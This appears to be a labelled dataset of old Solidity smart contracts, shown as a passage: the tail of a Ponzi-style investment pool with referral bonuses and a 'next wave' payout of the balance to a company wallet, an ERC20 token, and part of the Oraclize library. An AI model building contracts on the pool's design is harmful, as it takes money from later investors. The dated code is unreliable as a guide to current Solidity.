(numerator, denominator) = (num,den);
}
function companyPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_companyPercent.num, m_companyPercent.den);
}
function coinHolderPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_coinHolders.num, m_coinHolders.den);
}
function last10Percent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_last10.num, m_last10.den);
}
function feePercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_fee.num, m_fee.den);
}
function referrer1Percent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refPercent1.num, m_refPercent1.den);
}
function referrer2Percent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_refPercent2.num, m_refPercent2.den);
}
function stats(uint date) public view returns(uint invested, uint investors) {
(invested, investors) = m_investors.stats(date);
}
function last10Addr() public view returns(address[]) {
return m_last10InvestorAddr;
}
function last10Info(address addr) public view returns(uint value, uint index) {
return (
m_last10Investor[addr].value,
m_last10Investor[addr].index
);
}
function investorInfo(address addr) public view returns(uint value, uint paymentTime, uint refsCount, uint refBonus,
uint pendingPayout, uint pendingPayoutTime, bool isReferral, uint dividends) {
(value, paymentTime, refsCount, refBonus, pendingPayout, pendingPayoutTime) = m_investors.investorBaseInfo(addr);
isReferral = m_referrals[addr].notZero();
dividends = checkDividends(addr);
}
function checkDividends(address addr) internal view returns (uint) {
InvestorsStorage.investor memory investor = getMemInvestor(addr);
if(investor.keyIndex <= 0){
return 0;
}
uint256 time;
uint256 value = 0;
if(investor.pendingPayoutTime == 0) {
time = investor.paymentTime;
} else {
time = investor.pendingPayoutTime;
value = investor.pendingPayout;
}
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0){
uint256 totalAmount = investor.value.add(investor.refBonus);
(uint num, uint den) = m_investors.getDividendsPercent(addr);
value = value.add((totalAmount*num/den) * daysAfter);
}
return value;
}
function _getMyDividents(bool withoutThrow) private {
address addr = msg.sender;
require(!isContract(addr),"msg.sender must wallet");
InvestorsStorage.investor memory investor = getMemInvestor(addr);
if(investor.keyIndex <= 0){
if(withoutThrow){
return;
}
revert("sender is not investor");
}
uint256 time;
uint256 value = 0;
if(investor.pendingPayoutTime == 0) {
time = investor.paymentTime;
} else {
time = investor.pendingPayoutTime;
value = investor.pendingPayout;
}
uint256 daysAfter = now.sub(time).div(dividendsPeriod);
if(daysAfter > 0){
uint256 totalAmount = investor.value.add(investor.refBonus);
(uint num, uint den) = m_investors.getDividendsPercent(addr);
value = value.add((totalAmount*num/den) * daysAfter);
}
if(value == 0) {
if(withoutThrow){
return;
}
revert("the latest payment was earlier than dividents period");
} else {
if (checkBalanceState(addr, value)) {
return;
}
}
assert(m_investors.setPaymentTime(msg.sender, now));
assert(m_investors.setPendingPayoutTime(msg.sender, 0));
assert(m_investors.setPendingPayout(msg.sender, 0));
sendDividends(msg.sender, value);
}
function checkBalanceState(address addr, uint value) private returns(bool) {
uint checkBal = address(this).balance.sub(last10).sub(gasFee);
if(checkBal < value) {
sendDividends(addr, checkBal);
return true;
}
return false;
}
function getMyDividends() public balanceChanged {
_getMyDividents(false);
}
function doInvest(address _ref) public payable balanceChanged {
require(!isContract(msg.sender),"msg.sender must wallet address");
require(msg.value >= minInvesment, "msg.value must be >= minInvesment");
require(!m_nextWave, "no further investment in this pool");
uint value = msg.value;
if ((!m_isInvestor[msg.sender] && !m_referrals[msg.sender].notZero()) ||
(m_isInvestor[msg.sender] && m_referrals[msg.sender].notZero())) {
address ref = m_referrals[msg.sender].notZero() ? m_referrals[msg.sender] : _ref;
if(notZeroNotSender(ref) && m_isInvestor[ref]) {
uint reward = m_refPercent1.mul(value);
if(m_referrals[msg.sender].notZero()) {
assert(m_investors.addRefBonus(ref, reward, dividendsPeriod));
} else {
assert(m_investors.addRefBonusWithRefs(ref, reward, dividendsPeriod));
m_referrals[msg.sender] = ref;
}
emit LogNewReferral(msg.sender, now, value);
if (notZeroNotSender(m_referrals[ref]) && m_isInvestor[m_referrals[ref]] && ref != m_referrals[ref]) {
reward = m_refPercent2.mul(value);
assert(m_investors.addRefBonus(m_referrals[ref], reward, dividendsPeriod));
}
}
}
checkLast10(value);
COMPANY_WALLET_ADDR.transfer(m_companyPercent.mul(value));
e2d.payDividends.value(m_coinHolders.mul(value))();
last10 = last10.add(m_last10.mul(value));
gasFee = gasFee.add(m_fee.mul(value));
_getMyDividents(true);
DT.DateTime memory dt = parseTimestamp(now);
uint today = dt.year.uintToString().strConcat((dt.month<10 ? "0":""), dt.month.uintToString(), (dt.day<10 ? "0":""), dt.day.uintToString()).stringToUint();
if (m_investors.contains(msg.sender)) {
assert(m_investors.addValue(msg.sender, value));
m_investors.updateStats(today, value, 0);
} else {
assert(m_investors.insert(msg.sender, value));
m_isInvestor[msg.sender] = true;
m_investors.updateStats(today, value, 1);
emit LogNewInvestor(msg.sender, now, value);
}
assert(m_investors.setPaymentTime(msg.sender, now));
emit LogNewInvesment(msg.sender, now, value);
totalInvestments++;
totalInvested += msg.value;
}
function checkLast10(uint value) internal {
if(value >= LAST_10_MIN_INVESTMENT) {
if(m_last10Investor[msg.sender].index != 0) {
uint index = m_last10Investor[msg.sender].index;
removeFromLast10AtIndex(index);
} else if(m_last10InvestorAddr.length == 11) {
delete m_last10Investor[m_last10InvestorAddr[1]];
removeFromLast10AtIndex(1);
}
m_last10InvestorAddr.push(msg.sender);
m_last10Investor[msg.sender].index = m_last10InvestorAddr.length - 1;
m_last10Investor[msg.sender].value = value;
}
}
function removeFromLast10AtIndex(uint index) internal {
for (uint i = index; i < m_last10InvestorAddr.length-1; i++){
m_last10InvestorAddr[i] = m_last10InvestorAddr[i+1];
m_last10Investor[m_last10InvestorAddr[i]].index = i;
}
delete m_last10InvestorAddr[m_last10InvestorAddr.length-1];
m_last10InvestorAddr.length--;
}
function getMemInvestor(address addr) internal view returns(InvestorsStorage.investor) {
(uint a, uint b, uint c, uint d, uint e, uint f, uint g) = m_investors.investorFullInfo(addr);
return InvestorsStorage.investor(a, b, c, d, e, f, g);
}
function notZeroNotSender(address addr) internal view returns(bool) {
return addr.notZero() && addr != msg.sender;
}
function sendDividends(address addr, uint value) private {
if (addr.send(value)) {
emit LogPayDividends(addr, now, value);
if(address(this).balance.sub(gasFee).sub(last10) <= 0.005 ether) {
nextWave();
return;
}
}
}
function sendToLast10() private {
uint lastPos = m_last10InvestorAddr.length - 1;
uint index = 0;
uint distributed = 0;
for (uint pos = lastPos; pos > 0 ; pos--) {
_percent = getPercentByPosition(index);
uint amount = _percent.mul(last10);
if( (!isContract(m_last10InvestorAddr[pos]))){
m_last10InvestorAddr[pos].transfer(amount);
emit LogPayLast10(m_last10InvestorAddr[pos], _percent.num, amount);
distributed = distributed.add(amount);
}
index++;
}
last10 = last10.sub(distributed);
if(last10 > 0) {
LAST10_WALLET_ADDR.transfer(last10);
last10 = 0;
}
}
function getPercentByPosition(uint position) internal pure returns(Percent.percent) {
if(position == 0) {
return Percent.percent(40, 100);
} else if(position == 1) {
return Percent.percent(25, 100);
} else if(position == 2) {
return Percent.percent(15, 100);
} else if(position == 3) {
return Percent.percent(8, 100);
} else if(position == 4) {
return Percent.percent(5, 100);
} else if(position == 5) {
return Percent.percent(2, 100);
} else if(position == 6) {
return Percent.percent(2, 100);
} else if(position == 7) {
return Percent.percent(15, 1000);
} else if(position == 8) {
return Percent.percent(1, 100);
} else if(position == 9) {
return Percent.percent(5, 1000);
}
}
function nextWave() private {
if(m_nextWave) {
return;
}
m_nextWave = true;
sendToLast10();
FEE_WALLET_ADDR.transfer(gasFee);
COMPANY_WALLET_ADDR.transfer(address(this).balance);
setup();
emit LogNextWave(now);
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) return 0;
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
}
library Zero {
function requireNotZero(uint a) internal pure {
require(a != 0, "require not zero");
}
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
}
library ToAddress {
function toAddr(uint source) internal pure returns(address) {
return address(source);
}
function toAddr(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
}
library Convert {
function stringToUint(string s) internal pure returns (uint) {
bytes memory b = bytes(s);
uint result = 0;
for (uint i = 0; i < b.length; i++) {
if (b[i] >= 48 && b[i] <= 57) {
result = result * 10 + (uint(b[i]) - 48);
}
}
return result;
}
function uintToString(uint v) internal pure returns (string) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - j - 1];
}
string memory str = string(s);
return str;
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
} | 0 | 1,803 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AOCToken is StandardToken {
string public name = "AOCToken";
string public symbol = "AOC";
uint8 public decimals = 12;
uint256 public constant INITIAL_SUPPLY = 5000000000;
function AOCToken() public {
totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
}
} | 1 | 3,159 |
pragma solidity 0.4.19;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
